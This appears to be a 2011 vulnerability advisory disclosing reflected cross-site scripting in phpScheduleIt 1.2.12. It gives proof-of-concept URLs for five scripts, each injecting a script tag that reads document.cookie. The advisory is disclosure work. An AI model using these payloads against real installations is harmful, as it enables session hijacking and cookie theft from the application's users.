phpScheduleIt 1.2.12 Cross Site Scripting

`Vulnerability ID: HTB22987  
Reference: http://www.htbridge.ch/advisory/multiple_xss_in_phpscheduleit.html  
Product: phpScheduleIt  
Vendor: php.brickhost.com  
Vulnerable Version: 1.2.12  
Vendor Notification: 05 May 2011   
Vulnerability Type: XSS (Cross Site Scripting)  
Risk level: Medium   
Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ )   
  
Vulnerability Details:  
User can execute arbitrary JavaScript code within the vulnerable application.  
The vulnerability exists due to failure in the "forgot_pwd.php" script to properly sanitize user-supplied input.  
Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based auwhentication credentials, disclosure or modification of sensitive data.  
The following PoC is available:  
  
http://[host]/forgot_pwd.php/%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E  
  
The vulnerability exists due to failure in the "index.php" script to properly sanitize user-supplied input.  
The following PoC is available:  
  
http://[host]/index.php/%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E  
  
The vulnerability exists due to failure in the "register.php" script to properly sanitize user-supplied input.  
The following PoC is available:  
  
http://[host]/register.php/%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E  
  
The vulnerability exists due to failure in the "roschedule.php" script to properly sanitize user-supplied input.  
The following PoC is available:  
  
http://[host]/roschedule.php/%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E  
  
The vulnerability exists due to failure in the "popCalendar.php" script to properly sanitize user-supplied input in "scheduleid" variable.  
The following PoC is available:  
  
http://[host]/popCalendar.php?scheduleid=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E  
  
`